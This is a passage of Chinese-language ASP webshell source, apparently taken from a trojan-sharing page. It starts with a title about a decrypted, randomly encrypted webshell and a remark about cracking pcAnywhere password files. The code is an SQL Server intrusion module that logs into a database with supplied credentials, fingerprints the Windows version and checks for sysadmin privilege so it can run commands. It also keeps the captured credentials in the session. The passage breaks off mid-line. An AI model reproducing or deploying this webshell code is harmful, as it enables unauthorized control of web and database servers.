asp木马代码解密的随机加密webshell

pcAnywhere密码文件,可以从默认目录下载并破解得到pcAnywhere密码"
End if
end Function

Function sqlabc()
IF SESSION("LOGIN")="" THEN
RESPONSE.WRITE "<CENTER><FONT COLOR=RED>没有登陆</FONT></CENTER><BR>"
ELSE RESPONSE.WRITE "<CENTER><FONT COLOR=RED>已经登陆</FONT></CENTER><BR>"
END IF
RESPONSE.WRITE "<CENTER><A HREF="&REQUEST.SERVERVARIABLES("URL")&"?SQLAAA=LOGOUT>< FONT COLOR=BLACK>退出登陆</FONT></A></CENTER><BR>"

IF REQUEST("SQLAAA")="LOGIN" THEN
SET ADOCONN=SERVER.CreateOBJECT("ADODB.CONNECTION")
ADOCONN.OPEN "PROVIDER=SQLOLEDB.1;DATA SOURCE=" & REQUEST.FORM("SERVER") & "," & REQUEST.FORM("PORT") & ";PASSWORD=" & REQUEST.FORM("PASS") & ";UID=" & REQUEST.FORM("NAME")
IF ERR.NUMBER=-2147467259 THEN
RESPONSE.WRITE "<FONT COLOR=RED>数据源连接错误，请检查！</FONT>"
RESPONSE.END
ELSEIF ERR.NUMBER=-2147217843 THEN
RESPONSE.WRITE "<FONT COLOR=RED>用户名密码错误错误，请检查！</FONT>"
RESPONSE.END
ELSEIF ERR.NUMBER=0 THEN
STRQUERY="Select @@VERSION"
SET RECRESULT = ADOCONN.EXECUTE(STRQUERY)
IF INSTR(RECRESULT(0),"NT 5.0") THEN
RESPONSE.WRITE "<FONT COLOR=RED>WINDOWS 2000系统</FONT><BR>"
SESSION("SYSTEM")="2000"
ELSEIF INSTR(RECRESULT(0),"NT 5.1") THEN
RESPONSE.WRITE "<FONT COLOR=RED>WINDOWS XP系统</FONT><BR>"
SESSION("SYSTEM")="XP"
ELSEIF INSTR(RECRESULT(0),"NT 5.2") THEN
RESPONSE.WRITE "<FONT COLOR=RED>WINDOWS 2003系统</FONT><BR>"
SESSION("SYSTEM")="2003"
ELSE
RESPONSE.WRITE "<FONT COLOR=RED>其他系统</FONT><BR>"
SESSION("SYSTEM")="NO"
END IF
STRQUERY="Select IS_SRVROLEMEMBER(''SYSADMIN'')"
SET RECRESULT = ADOCONN.EXECUTE(STRQUERY)
IF RECRESULT(0)=1 THEN
RESPONSE.WRITE "<FONT COLOR=RED>恭喜！SQL SERVER最高权限</FONT><BR>"
SESSION("PRI")=1
ELSE
RESPONSE.WRITE "<FONT COLOR=RED>郁闷，权限不够估计不能执行命令！</FONT><BR>"
SESSION("PRI")=0
END IF
SESSION("LOGIN")="YES"
SESSION("NAME")=REQUEST.FORM("NAME")
SESSION("PASS")=REQUEST.FORM("PASS")
SESSION("SERVER")=REQUEST.FORM("SERVER")
SESSION("PORT")=REQUEST.FORM("PORT")
END IF

ELSEIF REQUEST("SQLAAA")="TEST" THEN
IF SESSION("LOGIN")<>"" THEN
IF SESSION("SYSTEM")="2000" THEN
RESPONSE.WRITE "<FONT COLOR=RED>WINDOWS 2000系统</FONT><BR>"
ELSEIF SESSION("SYSTEM")="XP" THEN
RESPONSE.WRITE "<FONT COLOR=RED>WINDOWS XP系统</FONT><BR>"
ELSEIF SESSION("SYSTEM")="2003" THEN
RESPONSE.WRITE "<FONT COLOR=RED>WINDOWS 2003系统</FONT><BR>"
ELSE
RESPONSE.WRITE "<FONT COLOR=RED>其他操作系统</FONT><BR>"
END IF
IF SESSION("PRI")=1 THEN
RESPONSE.WRITE "<FONT COLOR=RED>恭喜！SQL SERVER最高权限</FONT><BR>"
ELSE
RESPONSE.WRITE "<FONT COLOR=RED>郁闷，权限不够估计不能执行命令！</FONT><BR>"
END IF
SET ADOCONN=SERVER.CreateOBJECT("ADODB.CONNECTION")
ADOCONN.OPEN "PROVIDER=SQLOLEDB.1;DATA SOURCE=" & SE